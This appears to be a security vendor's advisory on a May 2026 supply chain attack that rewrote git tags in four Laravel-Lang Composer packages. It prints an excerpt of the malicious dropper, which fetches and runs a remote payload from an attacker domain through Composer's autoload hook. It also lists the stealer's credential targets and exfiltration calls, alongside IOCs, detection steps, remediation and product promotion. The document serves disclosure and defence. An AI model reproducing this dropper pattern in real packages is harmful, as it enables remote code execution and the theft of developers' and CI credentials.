Contents
ToggleExecutive summary
On May 22, 2026, an attacker with push access to the Laravel-Lang GitHub organization rewrote every existing git tag across four community-maintained Composer packages (laravel-lang/lang, http-statuses, attributes, and actions) to point at fresh malicious commits. Rewrites started at 22:32 UTC and finished by 00:00 UTC on May 23. No new versions were published; the attacker reused version numbers consumers already trusted.
Each poisoned commit adds src/helpers.php to composer.json’s autoload.files map, which fires on require vendor/autoload.php (every Laravel and Symfony bootstrap). The dropper fetches a PHP loader and ELF binary from flipboxstudio.info (a typosquat of flipboxstudio.com) and runs a 17-collector information stealer targeting AWS, Kubernetes, Vault, Jenkins, GitHub Actions, browser stores, SSH keys, and VPN configs. StepSecurity confirmed end-to-end exploitation; the chain completes in 3.16 seconds. No CVE has been assigned at the time of publication.
TL;DR for engineering teams
What it is: RCE backdoor introduced by force-pushing every git tag across four Laravel-Lang Composer packages to malicious commits. No CVE assigned.
Where it bites: laravel-lang/lang (502 tags), http-statuses (every tag through v3.4.5), attributes (86 tags), actions (46 tags). Payload runs on require vendor/autoload.php.
Why it matters: Version pinning offers no protection — tags were rewritten in place. A composer update against any permissive constraint resolves directly to a backdoor. Payload steals CI/CD, cloud, Kubernetes, and developer credentials.
Patch status: No clean version exists. Pin to a commit SHA dated before 2026-05-22 22:32 UTC, verified against a local clone or the Packagist dist mirror.
Immediate action: Halt composer update/install runs touching these packages, audit composer.lock for imposter SHAs, rotate every secret reachable from any post-22:32 UTC install environment, block flipboxstudio.info at egress.
Vulnerability overview
| Field | Value |
|---|---|
| Vendor / org | Laravel-Lang (community-maintained, not Laravel core) |
| Affected packages | laravel-lang/lang, http-statuses, attributes, actions |
| Vulnerability type | Supply chain compromise via git tag rewrite; RCE via Composer autoload.files |
| CWE | CWE-506 (Embedded Malicious Code), CWE-1357 (Insufficiently Trustworthy Component) |
| CVSS / CVE | Not assigned |
| Patch available | No. Pin to commit SHA dated before 2026-05-22 22:32 UTC. |
| Active exploitation | Confirmed by StepSecurity (Harden-Runner detonation, http-statuses v3.4.5) |
| Disclosure | May 22, 2026 (StepSecurity, Socket Security) |
| C2 infrastructure | flipboxstudio[.]info (typosquat of flipboxstudio.com) |
Technical anatomy
Root cause: trust in mutable git tags
Composer resolves a version constraint to a git tag and ships whatever commit that tag currently points to. Git tags are mutable references; a maintainer with push access can recreate any tag against any commit, including commits unreachable from any branch. Packagist follows tag rewrites by default.
The attacker force-pushed every tag in the four target repositories to new malicious commits within a 15-minute window. GitHub shows the banner “This commit does not belong to any branch on this repository” on each poisoned tag. The second-stage trigger is Composer’s autoload.files map: psr-4 and classmap are lazy, but autoload.files is eager and runs every listed file the moment vendor/autoload.php is required. Adding src/helpers.php to that map turns application boot into payload execution.
The malicious commit
Each poisoned commit modifies exactly two files. composer.json gets a new autoload.files entry:
"autoload": {
"files": ["src/helpers.php"]
}
src/helpers.php contains the dropper. It resolves its C2 host dynamically with array_map(‘chr’, […]) to evade static-string scans, fetches the stage-two payload over HTTPS (TLS verification disabled, Mozilla User-Agent), writes it to a random hidden filename, and detaches execution:
$sh = implode(array_map('chr', [/* ... */])); // → flipboxstudio.info
$payload = file_get_contents("https://$sh/payload", false, $ctx);
$f = sys_get_temp_dir() . '/.laravel_locale/' . bin2hex(random_bytes(6)) . '.php';
file_put_contents($f, $payload);
@exec("php \"$f\" > /dev/null 2>&1 &");
The Windows branch uses a WSH WScript.Shell object for equivalent detached execution.
Three-step exploit path
- Entry: composer install or composer update resolves a vulnerable constraint to a poisoned tag.
- Trigger: require vendor/autoload.php walks autoload.files and includes src/helpers.php. The dropper executes synchronously in the PHP process.
- Impact: Stage-two PHP loader and ELF binary fetched from flipboxstudio.info, run detached, harvest secrets, POST to /exfil, then self-delete. Loader processes reparent to PID 1 and run from memory.
Stage two: the PHP information stealer
Socket Security identifies a Stealer class orchestrating 17 collectors. Stolen data is XOR-encrypted with the hardcoded key k9X2mP7vL4nQ8wR1 before exfil. A per-host marker (MD5 of install path, architecture, inode) ensures the loader runs once per machine.
| Collector | Targets |
|---|---|
| AwsCollector / CloudCollector | EC2 IMDS at 169.254.169.254, IAM credentials, instance identity; gcloud, Azure, DigitalOcean, Heroku, Netlify, Vercel configs |
| K8sCollector | Service-account tokens, kubeconfig, Helm registry config |
| VaultCollector | HashiCorp Vault tokens + recursive KV dump |
| CiCdCollector | Jenkins master.key/credentials.xml, GitLab Runner, GitHub Actions, CircleCI, TravisCI, ArgoCD |
| CryptoCollector | BTC/ETH/Monero wallets, MetaMask/Phantom/Trust Wallet, seed.txt/recovery.txt |
| BrowserCollector + ChromiumDecryptor | Chrome, Edge, Firefox, Brave, Opera. Embedded DebugChromium.exe bypasses Chrome v127+ App-Bound Encryption |
| PasswordManagerCollector | 1Password, Bitwarden, LastPass, KeePass, Dashlane, NordPass |
| ProcessCollector | Linux /proc/[pid]/environ and /proc/[pid]/cmdline |
| WindowsCredentialCollector | cmdkey, vaultcmd, .rdp, PuTTY/WinSCP saved sessions |
| MessagingCollector | Discord and Slack leveldb session tokens |
| FtpCollector | FileZilla, WinSCP, CoreFTP |
| EmailCollector | Outlook, Thunderbird |
| FileCollector | Docker auth, SSH keys, .gitconfig, shell history, .env, wp-config.php, docker-compose.yml |
| EnvCollector | Env vars matching KEY/SECRET/API/TOKEN/PASSWORD/AWS_/AZURE_/GCP_/STRIPE_ |
| GitCollector | .gitconfig, .git-credentials, .netrc |
| VpnCollector | OpenVPN, WireGuard, NetworkManager, NordVPN, ExpressVPN, CyberGhost, Mullvad |
Detonation evidence (StepSecurity Harden Runner)
StepSecurity detonated laravel-lang/http-statuses v3.4.5 in an isolated GitHub Actions runner with Harden-Runner in audit mode. Full chain — autoload to self-delete — completed in 3.16 seconds.
00:17:45.972 php (pid 2804) [workflow: Autoload package]
00:17:47.012 └─ sh (pid 2805) → php /tmp/.laravel_locale/f3e2c293172f.php &
00:17:47.013 └─ php (pid 2806, ppid=1) [reparented to init]
00:17:48.129 └─ sh (pid 2813) → nohup /tmp/.480dc608 &
00:17:48.130 └─ /tmp/.480dc608 (pid 2814, ppid=1) [reparented]
00:17:49.134 ├─ rm /tmp/.laravel_locale/f3e2c293172f.php
00:17:49.135 └─ rm /tmp/.480dc608
Both implant processes end up with ppid=1 after their shell parents exit, surviving the workflow step boundary and decoupling their network calls from the runner user in audit trails. They continue executing from memory after on-disk files are deleted, so a forensic snapshot taken three seconds late finds no artifacts.
Network calls:
00:17:46.055 pid 2804 (workflow php) GET https://flipboxstudio.info/payload
00:17:47.156 pid 2806 (orphan loader) POST https://flipboxstudio.info/exfil
On an unprotected runner, the POST body likely carries $GITHUB_TOKEN, $GITHUB_ENV contents, the secret files staged in $RUNNER_TEMP/_runner_file_commands/, and anything from /proc/<runner pid>/environ.
Affected versions
Every tag across all four repositories has been rewritten. There is no safe latest version. The only safe pin is a commit SHA dated before 2026-05-22 22:32 UTC.
laravel-lang/lang
All 502 tags rewritten between 22:32 UTC and 23:24 UTC. Sample malicious commits:
| Tag | Malicious commit SHA | Source |
|---|---|---|
| 15.29.5 | a5ea2e8fa92ccf29cdb1d2dadbeb27722b2bff37 | StepSecurity |
| 15.29.4 | — | User-supplied IOC |
| 15.29.3 | — | User-supplied IOC |
| 15.29.2 | — | User-supplied IOC |
| 15.29.1 | 50ac0db454d19234c835716f297bbc5363c0a25c | StepSecurity |
| 15.29.0 | — | User-supplied IOC |
| 13.12.0 | — | User-supplied IOC |
| 12.24.2 | — | User-supplied IOC |
| 11.0.19 | — | User-supplied IOC |
| 10.9.5 | — | User-supplied IOC |
| 9.1.2 | — | User-supplied IOC |
| 8.1.3 | — | User-supplied IOC |
| 7.0.9 | — | User-supplied IOC |
| 2.0.4 | c45764e70285146da37025cd8601a921ab8a7eda | StepSecurity |
| 1.0.2 | a9f8d88cf98e35988d3d0fd6d79547f980853041 | StepSecurity |
| Remaining 487 tags | Same pattern | GitHub tag timestamps |
laravel-lang/http-statuses
Every tag from v1.0.0 through v3.4.5 rewritten. This is the package StepSecurity used for the Harden-Runner detonation.
| Tag | Malicious commit SHA |
|---|---|
| v3.4.5 | bba2e443dc7ff1f8704f52a5375383e3f4f643b8 |
| v3.4.0 | 26c233e1a0d4fd2331e8e0f175e18f8eed904aa3 |
| v3.0.0 | db0c3ef246103fd0f6c318e0d48f26b5289044c3 |
| v2.0.0 | 9ee599d248cc322fa26054694a83a1f4558cc716 |
| v1.0.0 | 6b1d5782a8c8c199d070857802d39bfe609eb6f2 |
| Remaining tags | Same pattern |
laravel-lang/attributes
All 86 tags rewritten.
| Tag | Malicious commit SHA |
|---|---|
| v2.4.1 | d59561727927117e65b35f0183cae131baad19fe |
| 2.6.0 | 1713b19cbf609cb101ff5e216be41f7224269082 |
| 2.5.0 | daa5212264bb73fb39fe7a36618b62717dc564a5 |
| Remaining tags | Same pattern |
laravel-lang/actions
All 46 tags from 1.0.0 through 1.12.2 rewritten.
| Tag | Malicious commit SHA |
|---|---|
| 1.12.2 | 556d2b335d4d6d92139822017ee461b668afe375 |
| 1.10.0 | 722cee67326d932e7f71ba3438f62a255d779aa9 |
| 1.0.0 | ad24b980db8f0dca50ccb3ba6badb3c2331e0ef4 |
| Remaining tags | Same pattern |
Exposure analysis
| Environment | Risk | Reason |
|---|---|---|
| CI/CD pipelines | Critical | GITHUB_TOKEN, deploy keys, registry credentials, provider tokens all in the runner process env. CiCdCollector targets these directly. |
| Cloud workloads (EC2, GKE, AKS) | Critical | AwsCollector queries IMDS for IAM credentials. K8sCollector reads service-account tokens. One compromised pod yields cluster-wide credentials. |
| Developer laptops | High | Browser stores, SSH keys, password manager vaults, Discord/Slack tokens, crypto wallets. DebugChromium.exe bypasses Chrome v127+ App-Bound Encryption. |
| Internet-exposed PHP services | High | Payload runs on every PHP-FPM request until worker recycles. DB credentials, API keys, Vault tokens from env vars all exposed. |
| Composer install without boot | Low | Dropper only fires on autoload. Static analysis still detects helpers.php in vendor/. |
Protect yourself with the latest threat intelligence, get access to PHOENIX BLUE Today
Real-world impact
laravel-lang/lang is one of the most depended-upon community packages in the Laravel ecosystem, pulled by countless starter kits, admin panels, and SaaS boilerplates. Any consumer that ran composer update between 22:32 UTC on May 22 and the mitigation window pulled a poisoned tarball. Version-string pins are not safe; the tag was rewritten in place. Only consumers pinned to a pre-22:32 commit SHA in composer.lock and running composer install (not update) against that lockfile are unaffected. Blast radius from a single CI infection: stolen GITHUB_TOKEN unlocks the GitHub org, stolen IAM credentials open the AWS account, stolen K8s tokens compromise the cluster, stolen Docker auth poisons the container registry, and any victim publishing its own packages from that pipeline becomes a downstream vector.
Detection guidance
Network indicators
- Outbound HTTPS to flipboxstudio[.]info (block, alert, search historical logs)
- GET /payload and POST /exfil on flipboxstudio[.]info
- DNS resolution for flipboxstudio.info from CI runners, build hosts, or developer machines
Filesystem indicators (self-delete in <3s)
- /tmp/.laravel_locale/<12-hex>.php (hidden PHP loader)
- /tmp/.<8-hex> ELF binary (sample: /tmp/.480dc608)
- src/helpers.php in any vendored laravel-lang/* — the durable on-disk indicator
Process indicators (visible after self-delete)
- ps auxf — orphaned php with ppid=1
- Orphaned unnamed ELF with ppid=1 executing from a deleted /tmp path
- lsof -p <pid> — executable mapped from deleted file
Git indicators
- Commit author “Your Name” / “you@example.com” on any tag in a Laravel-Lang repo
- Commit timestamps between 2026-05-22 22:32 UTC and 2026-05-23 00:00 UTC
- Commits modifying only composer.json and src/helpers.php
- GitHub banner “This commit does not belong to any branch on this repository”
Verification steps
- Grep every composer.lock for the four package names; note resolved commit SHAs.
- Match resolved SHAs against the Affected versions tables above.
- Flag any composer.lock with laravel-lang/* dist URLs and a packages[].time after 2026-05-22T22:32:00Z.
- Search CI/CD egress logs for flipboxstudio.info hits across the full retention window, not just the disclosure window.
- On affected hosts: ps -ef | awk ‘$3==1’ and inspect /tmp.
Remediation guidance
Immediate actions
- Stop composer update and stop composer install runs lacking a known-good lockfile for any project depending on the four packages. laravel-lang/lang is the highest-priority triage target.
- Inspect composer.lock for resolved commit SHAs matching the malicious commit list. If your lockfile was regenerated on or after 2026-05-22 22:32 UTC, treat the project as compromised pending verification.
- Rotate every secret reachable from any environment where an affected install ran on or after 2026-05-22 22:32 UTC: GITHUB_TOKEN, GitHub PATs, AWS/GCP/Azure credentials, container registry credentials, deploy keys, DB credentials, application secrets in env vars.
- Audit the affected hosts: ps auxf for orphaned php/ELF with ppid=1; /tmp for the artifact patterns above.
- Add flipboxstudio.info to every egress blocklist, firewall rule, and DNS sinkhole at the DNS, proxy, and runner egress layers.
Pinning to a clean commit
Pin via a dev-* constraint with a #SHA suffix, against a SHA you have independently verified (local clone pre-2026-05-22, Packagist dist tarball mirror, or trusted fork):
"require": {
"laravel-lang/lang": "dev-master#<verified-pre-2026-05-22-sha>",
"laravel-lang/http-statuses": "dev-master#<verified-pre-2026-05-22-sha>",
"laravel-lang/attributes": "dev-master#<verified-pre-2026-05-22-sha>",
"laravel-lang/actions": "dev-master#<verified-pre-2026-05-22-sha>"
}
Do not pin to a version string. Every tag has been rewritten.
Temporary mitigations
- Block flipboxstudio.info at the network edge — breaks the chain even if the dropper runs
- Run Composer with COMPOSER_DISABLE_NETWORK=1 against an existing lockfile to prevent re-resolution
- Enforce Harden-Runner egress allowlisting on GitHub Actions runners
- Use composer audit (Composer 2.4+) once an advisory is published
Blue Shield: blocking the install at the agent and CI/CD edge
Detection alone does not stop this attack. By the time Composer’s autoloader fires src/helpers.php, the C2 call has happened and runner secrets are in flight. Blue Shield enforces earlier, refusing the install of any version flagged in Phoenix’s Malware Package Intelligence feed (phxintel.security/malware.html).
BLUE SHIELD — TWO ENFORCEMENT POINTS, ONE INTEL FEED
CI/CD Firewall — MITM proxy between package manager and registry. Blocks composer install / npm ci / pip install on known-malicious versions. Returns HTTP 403; build fails cleanly.
Agent Firewall — MCP server + PreToolUse hook for Claude Code, Cursor, Codex, Windsurf, Cline, Aider. Blocks installs initiated by AI coding agents, returns a for_llm_reasoning narrative so the agent can act on the block.
Both Apache 2.0. Both consume phxintel.security/malware.html.
CI/CD Firewall. Single binary, PATH shim install in CI mode, no pipeline rewrites required:
eval $(phoenix-firewall --api-key $PHOENIX_API_KEY --ci)
composer install # protected — known-malicious versions blocked at fetch
Available as a drop-in GitHub Action (Security-Phoenix-demo/firewall-action@v1) and templates for GitLab CI, Jenkins, Azure DevOps, and Bitbucket. Applied to this incident: a Laravel pipeline running composer install against the poisoned packages fails at fetch. The dropper never executes; runner secrets never leave.
Agent Firewall. MCP server exposing phoenix_check_package, phoenix_check_lockfile, phoenix_check_diff, and four supporting tools. One config block wires it into any MCP-capable agent:
// .mcp.json
{
"mcpServers": {
"phoenix-firewall": {
"command": "npx",
"args": ["-y", "@phoenix-security/mcp-firewall"],
"env": { "PHOENIX_API_KEY": "${PHOENIX_API_KEY}" }
}
}
}
Why it matters here: an agent trained before May 22 has no knowledge that Laravel Lang is compromised. The Phoenix intel feed updates in near-real-time, so the agent firewall blocks at the install moment regardless of model training cutoff.
Phoenix Security recommendations
No CVE, no scanner alert. This is the gap CVE-anchored vulnerability management leaves open. Above Blue Shield enforcement, Phoenix Security closes the operational side:
- Contextual deduplication — all four packages and every poisoned version roll into one campaign, not thousands of alerts
- Reachability analysis — ranks which apps boot the autoloader in a credentialed context
- Threat-centric campaigns — create from the IOC list, assign owners, track fix verification
- Ownership attribution — maps each affected repo to the responsible team
- Attack surface management — surfaces internet-exposed Laravel apps first
Blue Shield keeps the malicious versions out of the build. Phoenix ASPM tells you where the existing exposure lives and who fixes it.
Per-package summary
| Package | Summary |
|---|---|
| laravel-lang/lang | Flagship Laravel translations package. All 502 tags rewritten, 22:32–23:24 UTC May 22. Highest triage priority — almost every Laravel app using non-English locales depends on it. Confirmed tags: 15.29.0–15.29.5, 13.12.0, 12.24.2, 11.0.19, 10.9.5, 9.1.2, 8.1.3, 7.0.9, plus older 2.0.4 and 1.0.2. |
| laravel-lang/http-statuses | Localized HTTP status messages. Every tag from v1.0.0 through v3.4.5 rewritten. The package StepSecurity detonated for end-to-end exploitation proof. |
| laravel-lang/attributes | Localized validation attribute names. All 86 tags rewritten. Usually pulled alongside lang. |
| laravel-lang/actions | Helper actions for Laravel-Lang translation packages. All 46 tags from 1.0.0 through 1.12.2 rewritten. Smaller install base but common on developer machines where credential exposure is high. |
Indicators of compromise
| Category | Indicator | Notes |
|---|---|---|
| C2 domain | flipboxstudio[.]info | Typosquat of flipboxstudio.com |
| C2 endpoints | GET /payload, POST /exfil | Stage-two fetch and exfil |
| XOR key | k9X2mP7vL4nQ8wR1 | Hardcoded in stage two |
| Dropped PHP loader | /tmp/.laravel_locale/<12-hex>.php | Sample: f3e2c293172f.php |
| Dropped ELF binary | /tmp/.<8-hex> | Sample: /tmp/.480dc608 |
| Embedded Windows binary | DebugChromium.exe | Bypasses Chrome v127+ App-Bound Encryption |
| Commit author | Your Name / you@example.com | Across all four repos |
| Attack window | 2026-05-22 22:32 UTC → 2026-05-23 00:00 UTC | All tag rewrites completed |
| Malicious file | src/helpers.php in vendored package | Registered under autoload.files |
| Process indicator | Orphaned php and ELF with ppid=1 | Reparent to init after parent shell exits |
| Execution duration | 3.16 seconds | Autoload to self-delete (StepSecurity) |
External references
Primary research credit: Socket Security (stage-two stealer analysis) and StepSecurity (Harden-Runner detonation, network capture, security issues on all four repos).
- Socket Security — Laravel Lang Compromised with RCE Backdoor Across 700+ Versions, May 23, 2026.
- StepSecurity — Laravel-Lang Supply Chain Attack, Varun Sharma, May 22, 2026.
- Aikido Security — Public disclosure of suspicious Laravel Lang activity.
- Phoenix MPI feed — phxintel.security/malware.html
- Blue Shield CI/CD Firewall
- Blue Shield Agent Firewall
- StepSecurity GitHub issues — Laravel-Lang/lang#8295, http-statuses#277, actions#1193, attributes#1085
- Composer autoload.files docs